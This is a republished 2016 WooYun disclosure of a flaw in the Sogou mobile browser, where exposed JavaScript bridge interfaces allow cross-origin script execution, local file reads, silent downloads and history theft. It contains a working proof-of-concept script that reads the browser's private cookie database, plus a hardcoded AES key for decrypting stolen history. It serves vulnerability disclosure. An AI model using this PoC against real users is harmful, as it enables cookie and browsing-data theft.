搜狗浏览器跨域脚本漏洞

admin 2017年3月24日17:44:52评论511 views字数 199阅读0分39秒阅读模式
摘要

2016-03-21: 细节已通知厂商并且等待厂商处理中
2016-03-23: 厂商已经确认,细节仅向厂商公开
2016-03-26: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2016-05-17: 细节向核心白帽子及相关领域专家公开
2016-05-27: 细节向普通白帽子公开
2016-06-06: 细节向实习白帽子公开
2016-06-21: 细节向公众公开

漏洞概要 关注数(40) 关注此漏洞

缺陷编号: WooYun-2016-186856

漏洞标题: 搜狗浏览器跨域脚本漏洞 搜狗浏览器跨域脚本漏洞

相关厂商: 搜狗

漏洞作者: Lyleaks

提交时间: 2016-03-21 13:01

公开时间: 2016-06-21 22:50

漏洞类型: 设计错误/逻辑缺陷

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 无

11人收藏


漏洞详情

披露状态:

2016-03-21: 细节已通知厂商并且等待厂商处理中
2016-03-23: 厂商已经确认,细节仅向厂商公开
2016-03-26: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-05-17: 细节向核心白帽子及相关领域专家公开
2016-05-27: 细节向普通白帽子公开
2016-06-06: 细节向实习白帽子公开
2016-06-21: 细节向公众公开

简要描述:

搜狗浏览器某接口可跨域执行js代码,读取本地文件,读取历史记录等。

详细说明:

搜狗浏览器的SogouWebView通过addJavascriptInterface添加了两个和js交互的接口,sogoumse_interface和SogouMobileUtils。通过这两个接口可以实现跨域执行js代码,读取本地文件,读取历史记录,自动下载文件等。

搜狗浏览器跨域脚本漏洞

sogoumse_interface接口中的createTab方法可以用来创建新标签页。

createTab方法接受3个参数,extName,createProperties,和callbackindex,如下可在新标签页打开乌云。

code 区域
sogoumse_interface.createTab("ext","{/"url/":/"http://**.**.**.**/",/"active/":true}","");

excuteScript方法可在指定tabid的标签页执行js代码。

excuteScript方法接受4个参数如图。

搜狗浏览器跨域脚本漏洞

将arg8转成HashMap,取出code和file的值,读取file的内容,拼接code和file的内容。

搜狗浏览器跨域脚本漏洞

拼接字符串,然后调用SogouWebView的loadUrl方法执行该js代码。

搜狗浏览器跨域脚本漏洞

可以看到excuteScriptInClosure的前两个参数是字符串,第3个参数是js代码。通过第3个参数就可以在指定标签页执行js代码。

第2个参数就是前面的code加上file的内容,因为它会在指定的标签页执行excuteScriptInClosure这个函数,所以只要定义好这个函数,就可以读取本地文件的内容。

从createTab方法中知道,tabid初始值为-1,每新建一个标签页,tabid的值会加1。

如下POC可在**.**.**.**执行js代码,并且读取浏览器私有目录下的cookie文件。

code 区域
<script>

function excuteScriptInClosure(a,b,c){
alert(b);
}

sogoumse_interface.createTab("ext","{/"url/":/"http://**.**.**.**/",/"active/":true}","");

setTimeout("foo()",3000);

function foo(){

for (var i=0;i<=10;i++){

sogoumse_interface.excuteScript(i+"","ext","{/"code/":/"/",/"file/":/"/data/data/sogou.mobile.explorer/databases/webviewCookiesChromium.db/"}","alert(document.domain)");

};
}

</script>

搜狗浏览器跨域脚本漏洞

SogouMobileUtils接口的downloadFileWithUrlNoDialog方法和getHistorysForFeedback方法可以用来自动下载文件和读取历史记录。

downloadFileWithUrlNoDialog方法接受一个字符串参数作为下载地址。

getHistorysForFeedback方法接受一个整型参数作为获取历史记录的条数。

搜狗浏览器跨域脚本漏洞

将url和时间戳用AES加密再base64后返回,密钥为##sogoumse2015##。

解密后的内容

code 区域
[{"date":"1458394597405","url":"https:////**.**.**.**//?from=1013112a"},{"date":"1458394597325","url":"http:////**.**.**.**//?from=1013112a"},{"date":"1458393661820","url":"https:////**.**.**.**//?tn=93892151_hao_pg"},{"date":"1458393661454","url":"http:////**.**.**.**//"},{"date":"1458393048920","url":"https:////**.**.**.**//?tn=94362887_hao_pg"},{"date":"1458392929779","url":"https:////**.**.**.**//?tn=94026736_hao_pg"},{"date":"1458392868735","url":"https:////**.**.**.**//?tn=95184484_hao_pg"},{"date":"1458392853048","url":"https:////**.**.**.**//?from=844b&amp;vit=fps"},{"date":"1458392802729","url":"https:////**.**.**.**//?tn=90177821_hao_pg"}]

测试版本

搜狗浏览器跨域脚本漏洞

漏洞证明:

POC地址:

http://utf7.ml/t/sogou1.html

修复方案:

版权声明:转载请注明来源 Lyleaks@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-03-23 22:47

厂商回复:

感谢支持

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):

登陆后才能进行评分

100%

0%

0%

0%

0%


评价

  1. 2016-03-21 13:09 | 小田哥哥 ( 路人 | Rank:2 漏洞数:1 | 不是所有牛奶都叫特仑苏,不是每个人我都叫...)

    1

    吓得我赶紧换了浏览器

  2. 2016-03-21 13:23 | 晓庄 ( 路人 | Rank:29 漏洞数:7 | Make money.)

    1

    吓得我赶紧打开谷歌浏览器

  3. 2016-03-21 16:42 | Fremy ( 实习白帽子 | Rank:47 漏洞数:10 | 一个快乐的临时工..)

    1

    老板没想到这么快又挖了个洞..

  4. 2016-03-23 23:00 | 90Snake ( 普通白帽子 | Rank:167 漏洞数:53 | 人如果没有梦想,跟咸鱼有什么分别)

    1

    吓得我赶紧换成火狐浏览器

  5. 2016-03-24 00:13 | autO_pw ( 实习白帽子 | Rank:81 漏洞数:25 | o_O``)

    1

    吓得我搜狗输入法都卸载了

  6. 2016-03-24 09:55 | 小红猪 ( 普通白帽子 | Rank:341 漏洞数:62 | little red pig!)

    1

    吓得我又回到IE浏览器了

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin